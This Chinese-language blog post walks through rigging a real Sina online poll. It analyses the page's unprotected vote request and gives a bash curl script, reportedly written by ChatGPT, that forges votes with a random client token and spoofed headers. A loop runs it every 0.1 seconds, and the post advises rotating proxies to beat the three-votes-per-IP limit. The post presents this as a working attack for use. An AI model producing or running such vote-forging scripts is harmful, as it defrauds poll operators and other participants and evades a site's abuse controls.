親戚給了個新浪的投票連結讓我幫忙刷票
地址是 http://h5.locate.sina.com.cn/h5/year/activity/
這平台不需要微信登錄,自己瀏覽器投了個票看下請求
callback=jQuery1830560859883008xxx_171833334xxx&uid=5&uu=444192xxxx&_=171833338xxxx
翻一下 js 看看有沒有加密
顯然是沒有的,但是這裡面沒看到投票邏輯代碼
翻下頁面元素
沒繃住,邏輯代碼直接寫 html 裡了
直接找到重點
if(!localStorage.getItem('uu')){
localStorage.setItem('uu', Math.ceil(Math.random()*10000000000));
}
$(".n").on("click",function (){
var index=$(this).parents("li").index();
var uu=localStorage.getItem('uu');
console.log(index);
$.ajax({
url: URL+'u',
type:'get',
data: {uid:index+1,uu:uu},
dataType: "jsonp",
jsonp: "callback",
success: function(res) {
if(res.info){
//alert(res.info);
$(".tips").text(res.info).fadeIn();
setTimeout(function (){
$(".tips").fadeOut();
},2000);
newslist(index); //數據刷新
return 0;
}
}
});
這兩段代碼基本上就是整個投票邏輯了
主要就是傳三個參數 callback
uid
uu
callback
的話沒什麼好說的,就一個常規的 jQuery 請求後端接口,參數用 jQuery
後面隨便接一段數字,然後下劃線後面跟時間戳就好
uid
就是投票的項目
uu
是投票的驗證,但是這玩意代碼我上面已經寫出來了(你都明文沒加密了還要驗證幹嘛),應該是防重放攻擊的
然後再帶個請求頭模擬正常用戶
叫 ChatGPT 來寫個腳本
#!/bin/bash
# blog.baka.plus 轉載請註明來源
# 定義目標URL
BASE_URL="http://admin.h5sina.com/activity/index/u"
# 生成隨機的 uu 值,若已存在則使用存儲值
if [ -z "$LOCAL_UU" ]; then
LOCAL_UU=$(shuf -i 1-10000000000 -n 1)
fi
# 定義其他必要的參數
UID11=5 #不用uid防止和系統變量衝突
TIMESTAMP=$(date +%s%N | cut -b1-13)
CALLBACK="jQuery183044178990760114514_$TIMESTAMP"
# 構建完整URL
URL="$BASE_URL?callback=$CALLBACK&uid=$UID11&uu=$LOCAL_UU&_=$TIMESTAMP" #最後面的參數可以不要,防止緩存用的,但為了和正常請求的參數一致還是帶上了
# 執行curl請求
curl "$URL" \
-H 'Accept: */*' \
-H 'Accept-Language: zh-CN,zh;q=0.9' \
-H 'Connection: keep-alive' \
-H 'Referer: http://h5.xxx.sina.com.cn/' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36'
循環運行一下
while true
do
bash script.sh
sleep 0.1
done
因為單 ip 只能投票三次,所以每投三張票得更換代理,這裡就不再贅述
此文由 Mix Space 同步更新至 xLog
原始鏈接為 https://blog.baka.plus/posts/tech/sina-vote-platform-vote-manipulation